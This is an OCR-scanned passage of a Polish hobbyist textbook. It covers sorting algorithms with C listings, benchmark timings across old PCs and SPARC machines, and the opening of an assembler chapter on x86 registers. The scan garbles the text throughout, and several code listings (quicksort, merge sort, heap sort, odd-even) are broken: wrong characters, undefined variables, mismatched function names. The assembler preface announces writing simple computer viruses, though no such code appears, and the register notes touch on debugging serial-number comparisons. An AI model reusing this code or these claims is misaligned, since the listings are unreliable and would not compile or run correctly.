3.4.1 Quick + bubbles = Qubble

Na listingu 3.4.2 prezentuje zapowiedziane we wstepie skrzyzowanie sortowania babelkowego
oraz QuickSorta. Ta hybryda uzyskuje nieznacznie (!) lepsze wyniki niz ,,goty” QuickSort.

3.5 Sortowanie przez scalanie

Jest to bardzo dobry algorytm. Opiera on si¢ na podobnej zasadzie dekompozycji problemu na
»pOl” jak Quicksort.
Cala procedure sortowania mozemy podzieli¢ na 2 etapy.
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Listing 3.4.2 Quicksort i sortowanie babelkowe

void gsortuj(int *tab, int lewa, int prawa){
if ((prawa - lewa) <=6 ) {
bsortuj(tab, lewa, prawa);
return;
}
if (lewa < prawa) {
int m= lewa;
for (int 1 = lewa+l; i <= prawa; i++)
if (tab[i] < tab[lewal)
zamien(tab, +tm, i);

zamien(tab, Tewa, m);

gsortuj(tab, lewa, m-1);

gsortuj(tab, m+l, prawa);
b /* koniec if’a gtdéwnego */
} /* koniec sortuj */

void bsortuj(int *tab, int lewa, int prawa)
for (int j=prawa; j > lewa; Jj--)
for (int i=lewa; i < j; i++)
if (tab[i] > tabl[i+1])
zamien(tab, 1, i+1);

{
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1. Dzielenie tablicy na dwie potéwki. Odbywa sie ono, az otrzymamy tablice 2 elementowe
lub (zaleznie od implementacji) 1 elemetowe.

2. Polaczenie fragmentdéw tablicy, z wykorzystaniem faktu, iz obie potéwki sg juz posortowa-
ne.

Tutaj fundamentalne znaczenie ma funkcja, ktéra taczy ze sobg 2 kawatki posortowanych tablic.
Teraz juz tylko fragmenty kodu. Funkgcja, ktéra dzieli nasza tablice na mniejsze jest na listingu
3.5.1.

Listing 3.5.1 Sortowanie przez scalanie (1)

void merge_sort(int *tab, int ile){
if (n > 1){

int k = (int) ile/2;

mergesort(tab, k);

mergesort(tab+k, n-k);
merge(n,k,tab,pomocnicza);

}

} /* koniec merge_sort */

Jak wida¢, funkcjamerge_sort () otrzymuje 2 argumenty. Po pierwsze ilo$¢ elementéw w
tablicy, po wtére wskaznik do pierwszego z nich. Cala prawie funkcja sktada si¢ z dwdch rekuren-
cyjnych wywotan. Pierwsze (merge_sort(tab, k)) przekazuje jej pierwsza potéwke tablicy
tab; drugie przekazuje jej ilos¢ pozostalych elementéw, oraz wskaznik do fragmentu tablicy za-
czynajacego si¢ od k-tego elementu.

A to jest podstawowy etap catego sortowania, czyli sclanie tablicy. Zostato ono ukazane na
listingu 3.5.2.

Funckja scalajaca nie jest skomplikowana. Korzysta ona z pomocniczej tablicy, w ktéra za-
pisuje sobie wynik. Jak dziata tak dokladniej? Przeglada kolejno odpowiednie fragmenty (te do
scalenia) tablicy wejsciowej i je poréwnuje, a mniejszy element wstawia do tablicy wyjsciowej.
Tym zajmuje si¢ gtéwna petlawh i 1e. Co robi ta druga? Ona jest odpowiedzialna za te elementy,
ktérych jest wiecej w jednej pod-tablicy niz w drugiej. A ostatnia petla for tylko kopiuje kolejno
elementy tablicy pomocniczej to wyjsciowe;j.

3.6 Inne

3.6. Heap-sort

Heap-sort znane jest po polsku jako sortowanie stertowe, stogowe lub Sortowanie przez kopcowa-
nie. Wszystkie nazwy odnoszg si¢ do tego samego, stosunkowo szybkiego algorytmu. Zwiazany
jest on bez watpienia z samg struktura sterty.

HeapSort bez watpienia wymaga glebszego omoéwienia. ..

Warto zauwazyg¢, iz program (listing 3.6.1) sktada si¢ z dwéch funkgji.
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Listing 3.5.2 Sortowanie przez scalanie (2)
int pomocniczal[MAX];
void merge(int ile, int k, int *tab, int *pomocnicza){
int i = 0;
int j = k;
int 1 = 0;
while (i < k && j < ile) {
if (tabl[i] < tab[jl)
pomocniczal1++]
} else |
pomocniczal 1++]

tab[i++];

tabl[j++];
}
}

while (i < k)
pomocniczall++] = tabl[i++];

for(i = 0; 1 < j; i++)
tab[i] = pomocniczalil;
} /* koniec merge */

3.6.2 Selection-sort

Innym stosunkowo prostym algorytmem jest bez watpienia sortowanie przez wybieranie. Jest to
powolny algorytm (O(n?)), jednakze bardzo prosty w budowie. W kazdym przebiegu gléwnej

.....

lejne wolne miejsce. Cala funkcje prezentuje listing 3.6.2.

3.6.3 Sortowanie kubetkowe

Sortowanie kubetkowe (ang. bucket sort)jest bardzo szybkim algorytmem w pewnym sensie po-
dobnym do sortowania przez wybieranie. Sortowanie kubetkowe ma jednak szereg ograniczen.
Jest do$¢ pamigciozerne oraz musimy a’priori sortowania ustali¢ nasze ,kubetki”, a wiec musi-
my zna¢ rozkltad naszych danych wejsciowych. Jak on dziala? Liczby, ktére chcemy przesortowac
winny naleze¢ do [0, 1) i by¢ w miare réwno po tym przedziale rozrzucone. To ,,w miare” nie
oznacza, ze dla ,,nie w miarg¢” algorytm nie zadziala, tylko im bardziej réwnomiernie sg one roz-
rzucone tym wyzsza jest wydajnos¢ tego algorytmu. Algorytm jako taki opiera si¢ na dokonaniu
podziatu przedziatu jednostkowego [0, 1) na réwne podprzedziaty — kubetki. Teraz do kazdego
kubelka jest wrzucana odpowiadajaca mu liczba. Gdy juz kazda liczba znajduje si¢ w odpowied-
nim kubetku dokonujemy, zwykle prostego, sortowania wewnatrz kubetkéw stosujac dowolny
algorytm. W ten spos6b otrzymujemy juz posortowany wynik.

Jednakze uzywajac tego algorytmu musimy by¢ przygotowani do korzystania z pewnych sztu-
czek. Jesli musimy posortowac liczby spoza jednostkowego przedzialu to nalezy nasze wejsciowe
liczby przeskalowa¢. Najtatwiej dokona¢ tego dzielac wszystkie przez liczbe najwigksza powigk-
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Listing 3.6.1 Sortowanie przez kopcowanie

void sortuj(int *tab, int ile){
int n=1ile;
for (int k = n/2; k > 0; k--)
downheap(tab, k, n);
do{
int t = tab[0];
tab[0] = tab[n-17;
tab[n-11 = t;
n--;
downheap(tab, 1, n);

bwhile (n > 1)
b /* koniec sort */

void downheap(int *tab, int k, int n){
int t = tablk-1];

qg
while (k <=n /2) {
int J =k + k;
if ((j < n) && (tab[j-1]1 < tab[jl))
Jtt;
if (t > tablj-11) {
break;
belse
tab[k-1] = tab[j-11;
k=J;
}
tab[k-11 = t;

}
} /* koniec downheap */
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Listing 3.6.2 Sortowanie przez wybieranie
void selectionsortuj(int *tab, int ile){
for (int i = 0; i < ile; i++) {

int min = 1i;

int j;

for (j = i+1; j < ile; j++)

if (tab[j] < tabl[minl)
min = J;

zamien(tab, min, i);
}
b /* koniec */

szong o 1. Dzigki temu wybiegowi wszystkie liczby beda mniejsze od 1. Jedyne na co nalezy jeszcze
uwazac to najwiegksza liczba, bo gdy postapimy z nig tak jak z wszystkimi innymi to nie bedzie ona
naleze¢ do naszego prawostronnie otwartego przedziatu jednostowego. A zatem mozemy np. do
niej nie dodawac¢ jedynki, badz tez stosowac jakas bardziej wymyslng metode przeskalowywania
liczb do przedziatu.

Sam algortym jest bardzo szybki, jednakze duzo tracimy na przygotowania. Po pierwsze po-
trzebujem sporo pamigci. Po wtére musimy znalez¢ najwigkszy element tablicy. Zajmie nam ton
poréwnan dla tablicy o n liczbach. Nastepnie musimy wszystkie n elementéw przeskalowac (to
réwniez kosztuje czas). Ponadto nasze operacje poréwnania w trakcie wlasciwego sortowania be-
da rowniez wolniejsze ze wzgledu na to, iz wspélczesne procesory majg szybsze/wigcej jednostek
staloprzecinkowych niz zmiennoprzecinkowych. Tak wigc pomimio duzej predkosci algorytmu
jako takiego (liniowy z duzym wspotczynnikiem) narzuty zwigzane z przygotowaniem danych
powoduyja, iz korzystanie z jego jest czasochtonne i bledogenne.

3.7 Przetwarzanie réwnolegte

Te lepsze algorytmy stosuja pewna technike programistyczng zwang ,,dziel-i-zwyciezaj”. Czasem
jest ona nazywana mianem ,dziel-i-rzadz”, ale caly czas chodzi o to samo. Po angielsku jest ona
zwana poprostu ,Divide & Conquer”. Zasadnicza jej idea jest stosunkowo prosta i sprowadza si¢
do odpowiedniego podzialu problemu poczatkowego na mniejsze, a co za tym idzie tatwiejsze do
rozwigzania problemy.

Warto dodag, iz bardziej zaawansowane algorytmy (np. Quicksort 1 Mergesort) maja pewna
dodatkowa zalete ponad prostymi algorytami. Dzigki rekurencjonowaniu i przetwarzaniu frag-
mentoéw tablic niezaleznie mozna je zréwnolegli¢. Pozwala to uzyska¢ znaczny wzrost wydajno-
sci. W wigkszosci przypadkéw otrzymujemy prawie liniowy wzrost wydajnosci! Oznacza to, iz
jesli na jednostkowym sprzecie sortowaliémy jakas ogromnag tablice 48 godzin (cale 2 doby), to na
16 sztukach jednostowego sprzetu zrobimy to w zaledwie 3 godziny. A najlepsze z tego jest to, iz
mozemy to tak przyspiesza¢ praktycznie bez granic, a wiec na 64 zréwnoleglonych komputerach
policzymy to w zaledwie 45 minut, a wiec 64 razy szybciej niz na 1 sztuce. A zatem nie dos¢, iz
Quicksort i Mergesort sg szybkie niejako same z siebie, to dodatkowo mozna jeszcze przyspieszy<¢
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ich czas wykonania poprzez rozdzielenie pracy na wiele komputeréw.

W przypadku tych algorytméw odbywa si¢ to dos¢ prosto. Poprostu kazda jednostka otrzy-
muje np. 1/64 calej tablicy i ja sobie sortuje. Koncowy etap scalania wzglednie matych obsza-
réw przebiega stosunkowo szybko. Dla Mergesort’a wykonywanego w klastrze mozna wprowadzi¢
pewnien podpodziat komputeréw. Dla przyktadu dla 64 jednostek obliczeniowych, wyznaczymy
4 kontrolery grupy, a dla kazdej grupy po 4 kontrolery podgrupy. Kazdy kontroler bedzie odpowie-
dzialny za scalanie fragmentéw tablicy otrzymanych od swoich 4 ,podwladnych” komputeréw.
Dzigki takiemu podziatlowi pracy mozna uzyskac¢ prawie liniowy przyrost wydajnosci wraz ze
wzrostem liczby urzadzen.

Powoduje to, iz przy posiadaniu hipotetycznie liczby procesoréw (lub innych jednostkowych
uklad6éw przetwarzajacych) réwnej ztozonosci problemu (rozmiarowi tablicy) mozemy otrzymac
liniowy czas wykonania. Oznacza to, ze przy n procesoréw, czas réwniez wynosi O(n)!

Znacznie trudniejsze moze by¢ zréwnoleglenie sortowania babelkowego. Zauwazmy, iz po-
dzielenie tablicy na fragmenty wiele nie da, gdyz potem laczenie ich bedzie bardzo kosztowne
przy pomocy babelkéw a przeciez o to chodzi. Ponadto sortowanie babelkowe bedzie jako takie
wolniejsze od Mergesort’a.

Istnieja tez algortymy tworzone z zatozenia do obliczen réwnolegltych. Sa to chociazby: Odd-
Even Transposition Sort i Shear Sort. Jest oczywiscie takich algorytméw bardzo wiele, jednak
znaczna ich ilos¢ jest stosunkowo skomplikowana pod wzgledem zaréwno koncepcyjnym jak i
przedstawia znaczne trudno$ci matematyczne przy pokazywaniu jakiej sg klasy. Cze$¢ z nich ko-
rzysta tez z dos¢ abstrakcyjnych pojec i struktur, ktére moglby okaza¢ si¢ nie banalne dla czytel-
nika. Ogolnie tematyka algorytmoéw réwnoleglych zostata poruszona w [13] i [12].

3.7.1 Odd-Even Transposition Sort

Algorytm ten po polsku nosi nie wiele méwiacg nazwe, a mianowicie sortowanie parzysto-nieparzyste.
Przed przystapieniem do rozwazan wprowadzimy pewne nowe okreslenie — komparatora. Kom-
paratorem nazywamy dowolnie prosty uktad (nie koniecznie elektroniczny, chociaz najczesciej),
zdolny do poréwnania dwéch informacji (sygnaléw, liczb) i okreslenia, ktdra jest wigksza, a kto-
ra mniejsza. Tak okreslone urzadzenie niech bedzie dla nas czarng skrzynka, w ktéra wrzucamy
dwie liczby i z ktérej wypada jednym wyjsciem liczba wigksza, a drugim mniejsza. Wewnetrzna
organizacja skrzynki nas nie interesuje, w dzisiejszej rzeczywistosci bedzie to najczesciej specjali-
zowany uklad scalony, a czasem zwykty komputerowy procesor. Jednakze dla naszych rozwazan
mozemy réwnie dobrze przyja¢, ze w Srodku siedzi krasnoludek i wybiera wigksza liczbe.

Dla ulatwienia przyjmijmy poczatkowo, ze do posortowania tablicy n liczb mamy do dyspo-
zycji n komparatoréw (procesoréw). Sortowanie tym algorytmem jest w pewnym sensie podobne
do sortowania przez scalanie; odbywa sie dwuetapowo. Sktada si¢ z funckeji odpowiedzialnej za
posortowanie jakiego$ fragmentu tablicy, oraz funkcji, ktéra scala wyniki uzyskane z poprzednie-
go etapu.

Sortowanie odbywa si¢ w do$¢ prosty spos6b. Zat6zmy, ze mamy parzysta ilos¢ (n) elemen-
téw do posortowania w tabicy (a,). (Tak, to jest przeciez ciag.) W pierwszej fazie poréwnujemy
liczby a1z az, a3z ag, ..., an—1 Z A, 1 mniejszy z kazdej pary wstawiamy w miejsce o mniejszym
indeksie (czyli obrazowo rzecz biorac po lewej stronie, chociaz tak na prawde to nie ma znacze-
nia). Teraz przystepujemy do drugiej fazy, dokonujemy w niej poréwnan elementéw a; z as, as
Z s, ..., Qn_2 Z An_1 1znowu mniejszy do lewego wstawiamy.
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Niezle ilustruje to ponizszy przyktad. 0 jest to sytuacja poczatkowa. - oznacza, iz dokonujemy
poréwnania tych dwéch elementéw (linie @) i w linii b mamy je zamienione jesli element prawy
mniejszy od lewego.
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Bardzo tatwo jest napisa¢ ten algorytm dla jednego procesora, a wigc nie wykorzystujac je-
go mozliwoéci zréwnoleglenia obliczen. Niestety taki algorytm jest klasy O(n?) i daje podobne
wyniki czasowe jak sortowanie babelkowe. Przykladowg implementacje pokazuje listing 3.7.1.

Listing 3.7.1 Sortowanie Odd-Even
void sortuj(int *tab){
for (int j=0; J<MAX; J++)({
for (int i=0; i<MAX; i+=2)
if(tabl[i]l > tabl[i+11)
zamien(tab,i,i+1);
for (int i=1; i<MAX; i+=2)
if(tab[i] > tab[i+1])
zamien(tab,i,i+1);

}
b // koniec sortuj

Oczywiscie gdyby ten algorytm miat zawsze uzyskiwac¢ tak stabg wydajnos¢ to nikt by si¢ nim
nie zainteresowal. Jego mozliwosci mozemy pozna¢ dopiero w §rodowiskach wieloprocesoro-
wych. Jak to si¢ dzieje. Jesli zatozymy, ze n procesoréw ma jednoczesnie dostep do calej tablicy n
elementowej to mozna tatwo podzieli¢ pracg miedzy je. Kazdy cykl pracy calego zespotu mozemy
podzielic na 2 etapy. W pierwszym etapie procesor i-ty poréwnuje dy; 1 z ay; (i mniejsze wstawia
W a2i_1). Naste;pnie ten sam procesor por(’)wnuje element a,; z ai 1. I teraz cykl sig powtarza.

Wracajac do algorytmu; najgorszy przypadek to O(n) przy uruchomieniu na n procesorach.
Jego absolutna predkos¢ to O(logn), a wiec jego wydajno$¢ wynosi O((logn)/n).

Przy okazji warto wprowadzi¢ pojecie sieci sortujacej... Wiecej o tym algorytmie mozna zna-
lez¢ w [11] 1 [9].
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3.7.2 Shear Sort

The author gratefully acknowledges support of Prof. Isaac D. Scherson of University of California in preparing
this section, especially by providing the author with his paper [6].

Jego polska nazwe, a mianowicie ,,sortowanie przez wycinianie” sam wymyslitem. Jest to zwiazane
z niedoborem terminologii z zakresu przetwarzania réwnolegltego w jezyku polskim. Opieram
moja nazwe na thumaczeniu angielskiego stowa shear oraz analizie gtéwnej idei algorytmu.

Jest to jeden z podstawowych algorytméw réwnoleglych operujacych bardziej zaawansowa-
nym strukturami i metodami. Jest on swojego rodzaju podstawa do bardzo zaawansowanych al-
gorytmow.

Podstawowa nowoscig z jakq mamy do czynienia tutaj jest zmiana obiektu, ktéry zamierzamy
sortowac. Poprzednio byta to tablica liniowa (tj. 1 x n), teraz bedzie to tablican x n.

Moéwigc w skrdcie, jest to algorytm réwnolegly, ktérego najgorszy przypadek dla n proceso-
réw wynosi O(n'/?logn). Jego absolutna predkos¢ wynosi wiec O(n'/?), a zatem efektywnos¢
to O(1/n'7?).

Jak dziata sam algorytm? Tak w skrécie dokonujemy sortowania réznych fragmentéw tablicy.
Poczatkowo sortujemy wiersze, jednakze w specjany sposdb. Wiersze o numerach nieparzystych
sortujemy tak, aby najmniejszy element wiersza znalazl si¢ po lewej stronie. Wiersze natomiast pa-
rzyste sortujemy, aby najwigkszy znalazl si¢ po lewej stronie. Teraz przystepujemy do fazy drugiej.
Sortujemy wszystkie kolumny tak, aby najmniejsze wartosci wzleciaty do géry. Po kilku takich cy-
klach uzysujemy tablice posortowana w tzw. snake-order. Oznacza to, iz czytanie rozpoczynamy
od komoérki (1, 1), przechodzimy do (1,n), a potem do (2,n) i teraz si¢ cofamy w 2 wierszu az
do (2, 1). Teraz znowu wiersz w dét, czyli (3, 1) i do kofica w prawo (3, ). Prawda, ze nie trudne
?

Oczywiscie bedzie tu wigcej...Aktualnie jeszcze trawie artykut Schersona.

3.8 Podsumowanie

Latwo zauwazyc, iz jest ogromna ilo$¢ réznorodnych algoryméw sortowania. Poza zaprezento-
wanymi tu istnieje z pewnoscia wiele innych. Te, ktore zostaly tu przedstawione cechujq si¢ bez
watpienia znaczng prostota, wydajnoscig lub sg szczegdlnie interesujace z algorytmicznego punk-
tu widzenia.

Kazdy ma swoje wady i zalety w praktycznym stosowaniu. Do najszybszych nalezg sortowanie
przez scalanie i Quicksort. Szybszy, w srednim przypadku, jest Quicksort. Duzq zaletq Mergesort'a
jest jego kompletna niepodatnos¢ na konfiguracje danych. Nie zalezenie od ich utozenia wykona
sie w czasie zaleznym od O(nlogn). Powazng jego wada jest zapotrzebowanie na dodatkowa
pamigé o rozmiarze rownym sortowanej tablicy. Quicksort natomiast w przypadku ,,parszywie”
utozonych danych (tzn. w odwrotnej kolejnosci posortowanych a moze w innej. jeszcze nie wiem)
i niefartownie wybranej osi zbliza si¢ do czasu O(n?). W srednim przypadku zaréwno Quicksort
jak i Mergesort sa logartymiczne.

Ogromna zaleta wiekszoéci algorytméw klasy O(n?) jest bez watpienia ich prostota imple-
mentacyjna. Nawet nie bardzo wprawny uczen szkoty Sredniej, po lekturze tego opracowania i
kilkuminutowemu zastanowieniu si¢, powinien by¢ w stanie spisaé np. sorfowanie bgbelkowe z
pamieci. Tak wigc duzym plusem tych algorytmoéw jest ich prostota, ktéra zmniejsza prawdopo-
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dobienstwo pomylki. Dlategotez, do posortowania 10, 100, a nawet 1000 elementéw nie warto
stosowa¢ bardzo szybkie algorytmy. Jest to zwiazane z ciagle rozwijajaca si¢ technologia. Nawet
najwolniejszy algorytm na obecnych komputerach (Pentium4 ok. 2,66GHz) wykona si¢ w mgnie-
niu oka. Nie warto w zwigzku z tym traci¢ czasu na wpisywanie wigekszych obigtosciowo algo-
rytmow ,,szybszych”. Réznice przy obecnym sprzecie pojawiaja si¢ dopiero przy tablicach rzedu
100000. Krotkie testy potwierdzily oczywiscie wyzszo$¢ Quicksort’a nad sortowaniem babelko-
wym.

Przeprowadzitem dotychczas krétkie testy poréwnawcze, ktérych wyniki przezentuje ponize;j.
Zaznaczam, iz testy beda kontynuowane.

Plik wejsciowy: 500000 liczb z zakresu [1, 200 000].

e PIII 700 — calkowity czas wykonania gsort to ok. 7,7 sek. z czego 5 sek. jest zuzywane na
zapis i odczyt tabeli z dysku

PIII 700 — Mergesort. ok. 3 sekundy obliczenia, ok. 5 sek. odczyt/zapis na dyski. A wiec o
ok. 0,25 sek. gorzej od QuickSorta.

P4 2.4 — Bubble-sort. Troch¢ ponad 70 minut.

P4 2.4 — QuickSort tacznie ok. 4,8 sek. z czego 3,3 sek. na I/O
e P4 2.4 — MergeSort tacznie ok. 4,9 sek. z czego 3,3 sek. na I/O

Dowodzi to prostego stwierdzenia, iz prawie zawsze, i w prawie kazdych granicach nawet
bardzo szybki sprzet ze stabym alborytmem bedzie wolniejszy od przecietnego sprzetu z bar-
dzo dobry algorytmem. Wida¢ tu wyraznie, ze QuickSort i MergeSort (a tak poza tym to jeszcze
nie uwzgledniony tu HeapSort) sa algorytmami klasy O(nlogn) i niezaleznie od tego na jakim
sprzecie by poszly to raczej uzyskaja lepszy wynik niz algorytmy O(n?). Dowodzi to, iz dobér
nalezytego algorytmu to podstawa.

3.8.1 Pomiary praktyczne

Jak wiadomo najlepsze efekty daja testy na polu walki, a wiec w rzeczywistosci. Na poczatek opisz-
my nasze platformy testowe:

paf73 Sprzet: Pentium III @ 700 MHz (7x100), 512MB SDRAM (4xKingston), dyski: Seagate
Barracuda ATA III (40GB) i IV (80GB) (UDMA-100), wszystko na plycie Asus P3B-F
Oprogramowanie: RedHat 7.2, kernel 2.4.20-28.7, skompilowano przy pomocy gcc ver. 2.96

rosamund Sprzet: Pentium IV @ 2400MHz (6x4x100), 512MB DDR (2x256), dysk Hitachi/IBM
30GB (UDMA-100), w latpopie Gericom Webshox.
Oprogramowanie: RedHat 9, kernel 2.4.20-18.9, skompilowano przy pomocy gcc ver. 3.2.2

tiger Sprzet: microSPARCII @ 70MHz (2x35), 64MB SDRAM (2xKingston), dyski: Seagate 4GB
(Barracuda 4LP) i 2GB (Hawk 2LP) (Fast-SCSI-2), wszystko jest to Sun SPARCstation 5.
Oprogramowanie: SunOS 5.4 (Solaris 2.4), kernel: Generic_151094-10, skompilowano przy
pomocy gcc ver. 2.95.2



30 ROZDZIAL 3. SORTOWANIE

routerek Sprzet: Celeron @ 400MHz (6x66), 192MB SDRAM (3x64), dysk Seagate ST34311A
(4GB) (UDMA-66)
Oprogramowanie: RedHat 9, kernel 2.4.20-24.9, skompilowano przy pomocy gcc ver. 3.2.2

jawor Sprzet: 2 x UltraSPARC II @ 400MHz (spr), 512MB, macierz RAID-5 (3x9GB, 3x36GB)
(Ultra-SCSI-2), jest to Sun Enterprise 250.
Oprogramowanie: SunOS 5.8 (Solaris 8), kernel: Generic_108528_12 64-bit, gcc (spr)

csd Sprzet: 2 x Pentium III @ 933 MHz (7x133), 512MB, dyski SCSI ok. 60GB w macierzy RAID-
5, wszystko to jakis DellPowerEdge
Oprogramowanie: debian linux, kernel: 2.6.1, gcc (spr)

csdl Sprzet: UltraSPARC II @ 270MHz (3x90), 128MB (spr), dysk (spr), razem to Sun Ultra 5.
Oprogramowanie: SunOS 5.6 (Solaris 2.6) (spr), kernel: (spr), gcc (spr)

mail Sprzet: Pentium II @ 400MHz (4x100), 768MB SDRAM (3x256), dyski: HP 8GB i 4GB
(Ultra-SCSI), wszystko to jakis DellPowerEdge
Oprogramowanie: Slackware 8, kernel 2.2.23, skompilowano przy pomocy gcc ver. 3.3.3

Mariusz Sprzet: Celeron @ 1700MHz (4.25x4x100), 256MB DDR (2x128), plyta Intel 845-g?,
dysk Seagate Barracuda ATA IV (80GB) (UDMA-100)
Oprogramowanie: Fedora Core 1, kernel 2.4.22-1.2115.nptl, skompilowano przy pomocy
gce. 3.3.2

ladys Sprzet: Pentium MMX @ 200MHz (4x50 ?), 64MB ?, dysk ¢ Oprogramowanie: RedHat 7.2,
kernel: 2.4.7, gcc ?

Jak wida¢ wsréd naszych 10 komputeréw mamy wiele rodzajow sprzetu. Sa zaréwno proste
PC’ty z jednym procesorem, jak i wieloprocesorowe serwery UNIX owe. Testy zostaly juz cze-
$ciowo przeprowadzone, jednak wciaz brakuje pewnych danych odnosnie platform testowych ze
wzgledu na moja gapowatosc...

Cze$¢ wynikoéw jakie uzyskano chwilowo jest prezentowana w takiej formie, pdzniej moze
beda w tabelce:

paf73 Bubbles: 1h24m45s, QSort: 1s, MergeSort: 1s
rosamund Bubbles: 37m50s, QSort: <1s, MergeSort: <1s
tiger Bubbles: 5h12m21s, QSort: 3s, MergeSort: 4s

csd1l Bubbles: 2h5m46s, QSort: <1s, MergeSort: 1s

mail Bubbles: 1h28m1s, QSort: <1s, MergeSort: <1s

Jakie plyng z tego wnioski? To si¢ dopisze... Na pewno wida¢ wyrazna przewage procesoréw
z rodziny SPARC ponad Intelopodobnymi. Przy zegarze 70MHz uzyskany przez tigera czas (ok.
310minut) wcale nie jest 10 razy gorszy od wyniku PIII 700. Co ciekawe, nawet PIV 2,4 (szybsze
zegarowo prawie 35razy!!!l) nie uzyskato czasu 10 razy lepszego. Podobna sytuacja ma miejsce z
UltraSPARC’iem 270MHz. Prawie 3 razy szybszy (zegarowo) PIII 700 uzyskat ledwo 40 minut
lepszy czas.
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Rozdziat 4

Zbyt krétkie wprowadzenie do Assemblera

Stowo wstepne

Hmm, ta cze$¢ miata by¢ poczatkowo bardziej rozbudowana, ale ze wzgledu na brak czasu spowo-
dowany licznymi obowiazkami ucznia klasy IV LO musiatem ja skréci¢. Moze kiedy$ cos dopisze
:) Jakby kto$ nie zatapal do konica o co chodzi z tym Assemblerem to niech kupi sobie jakas knige.
W tej czesci poznamy podstawy Assemblera oraz wykorzystamy je w praktyce. Napiszemy kilka
prostych wiruséw komputerowych.

4. Kroétki kurs Assemblera

4.1.1 Rejestry

Rejestry sa podstawowym miejscem przechowywania danych. Sa to 16-bitowe komérki procesora.
Jest 14 rejestréw i w tym 12 rejestréw danych i adresowych, rejestr wskaznika instrukgji (IP) i
rejestr znacznikdw. Rejestry danych i adresowych dla najbardziej podstawowego procesora Intel
8086 zostaly przedstawione w tableli 4.1.

Jak oczywiscie kazdy si¢ zorientowal przy pracy w Win32 rejestry okreslane sg jako EAX, EBX,
itd. Oznacza to, Ze sg to odpowiedniki powyzszych rejestréw, tyle, iz 32 bitowe.

Chwila wyjasnienia z tymi bitami. Wezmy rejestr AX, ktory jest 16 bitowy i dzieli si¢ na dwa
podrejestry 8 bitowe AH i AL. Jak wiemy 8 bitéw tworzy bajt, ktéry przyjmuje warto$¢ od 0 do
255, czyli rejestr AH 1 AL moze miec najwieksza wartosc FFh. Logicznie myslac -:) rejestr 16
bitowy moze przyjac maksymalna warto$¢ FFFFh itd. (32 bit EAX mam max FFFFFFFFh ups-
:)). Chyba kazdy tapie co dajg 32 bitowe rejestry i jak zwiekszaja si¢ mozliwosci. Oznacza to, ze
zawarto$¢ AX to taki zlepek AL i AH. AL=17h i AH=13h to AX=1713h.

Warto zapoznac si¢ z charakterystykami rejestréw, gdzyz kazdy ma swoje wlasne konkretne
zastowsowanie. Przegladajac i analizujac kod programu mozemy zauwazyc pewne prawidtowosci,

np.

e EIP — debugujac pod Softlce 32bit widzimy, Ze rejestr ten wskazuje na aktualny kod wyko-
nywanej instrukcji i mozemy go uzy¢ np. do zatozenia putapki na danej lini czyli bpx EIP
lub doktadniej CS:EIP.
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AX (akumulator)

BX (bazowy) Re/;estry
CX (licznik) ogblnego
DX (danych) przenzaczenia
SP (wskaznik stosu) Reiestr

BP (wskaznik bazy) K ] 'kY

SI (indeks zrédta) WeKaziiteowe

DI (indeks przeznaczenia) iindeksowe

CS (programu)

DS (danych) Rejestry
SS (stosu) segmentowe
ES (dodatkowy)

IP (wskaznik instrukgji)
I (rejestr znacznikéw)

Tabela 4.1: Rejestry procesora

e CS — wskazuje segment kodu, czyli jak mamy lini¢ kodu o adresie np. 14F:04033232 to
mozemy ja zapisac jako CS:04033232 poniewaz w rejestrze CS jest zachowana wartos¢ 014E

e DS — podobnie jak powyzej, zawiera adres segmentu danych, jezeli w okienku danych pod
Softlce mamy jakisadres np. 0145:03055555 to DS wskazuje segment 0145.

e ESIi EDI sa wskaznikami danych np. do poréwnan tekstow itp. Wezmy np. instrukcje po-
réwnywania w bibliotekach VB — reps cmpsw dla, ktérych w ds:esi i es:edi zawarte sa
adresy tekstow (np. numer6w seryjnych) do poréwnania. To samo tyczy sie wielu instruk-
¢ji przesyfania i poréwnywania danych, gdzie przeznaczenie i cel zawarte sa w rejesteach SI

i DI np:

LEA SI, Zrodlo ;Zaladowanie adresu zrodla

LEA DI, ES:Przeznaczenie ;Zaladowanie adresu przezanczenia
MOV CX,100 ;Zaladowanie licznika elementow
MOVS Przeznaczenie,/Zrodlo ;Kopiowanie tekstu z jednego

;miejsca w innne.

4.1.2 Rejestry — specyfikacja architektury intela

W tabeli 4.2 zebrane zostaly najwazniejsze rejestry procesoréw rodziny Intel 80x86. W kolumnie
1 znajduje si¢ nazwa rejestru podstawowego, takiego jak w procesorze 8086. W kolumnie 2 jest
natomiast nazwa, ktéra oznacza rejestr procesora 80386 lub wyzszego. Jest on wtedy nie 16 tylko
32 bitowy. Jesli nic nie ma w kolumnie 2 (lub jej wogéle nie ma) oznacza to, iz rejestr nie ulegt
powiekszeniu w 386’tce i nadal stosuje si¢ nazwe z kolumny 1. Ponadto ,Rejestr Znacznikéw”
zostat tutaj tylko wzmiankowany, szerszy opis znajduje si¢ w rozdziale 4.1.3.
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| 1 [ Nazwazwyczajowa

|

| Rejestr Znacznikow (zob. flagi) ‘

Specjalne rejestry (386+)

| 1 | 2 | Nazwa zwyczajowa
’ Rejestry ogdlnego przeznaczenia
AH|AL AX | EAX || Akumulator
BH|BL BX | EBX || Bazowy CRO
CH|CL CX | ECX || Licznik CR2
DH|DL DX | EDX || Danych CR3
Rejestry segmentowe TR4
CS Programu TR5
DS Danych TR6
SS Stosu TR7
ES Dodatkowy DRO
Rejestry wskaznikowe DR1
SI ESI || Indeks zrédta DR2
DI EDI || Indeks przeznaczenia || DR3
IP Wskaznik instrukcji || DR6
Rejestry stosu DR7
Ny ESP || Wskaznik stosu
BP EBP || Wskaznik bazy

Control Register 0
Control Register 2
Control Register 3

Test Register 4
Test Register 5
Test Register 6
Test Register 7
Debug Register 0
Debug Register 1
Debug Register 2
Debug Register 3
Debug Register 6

Debug Register 7

Tabela 4.2: Rejestry procesoréw Intel 80386 i wyzszych

Rejestry ogélnego przeznaczenia sg przeznaczone do przechowywania dowolnych danych i
wykonywania roznych operacji (arytmetycznych, logicznych itp), pelnig takze funkcje specjalne
odpowiadajace ich nazwom.

e AX (accumulator) — rejestr ten jest najczesciej uzywany przy o peracjach mnozenia i dzie-
lenia, a takze w operacjach logicznych, arytmetycznych i odktadania wynikéw wielu opera-
¢ji. 8 dolnych bitéw tego rejstru okresla sie jako rejestr AL, a 8 gérnych bitéw jako AH

e BX (basis) — rejestr bazowy moze by¢ uzywany jako dwa 8-bitowe rejestry BH i BL, a np.
jako 16-bit mozemy go uzyc do utworzenia adresu pamigci, tworzac z rejestrem segmento-

wym pelny adres — Segmennt:Offset — DS:BX

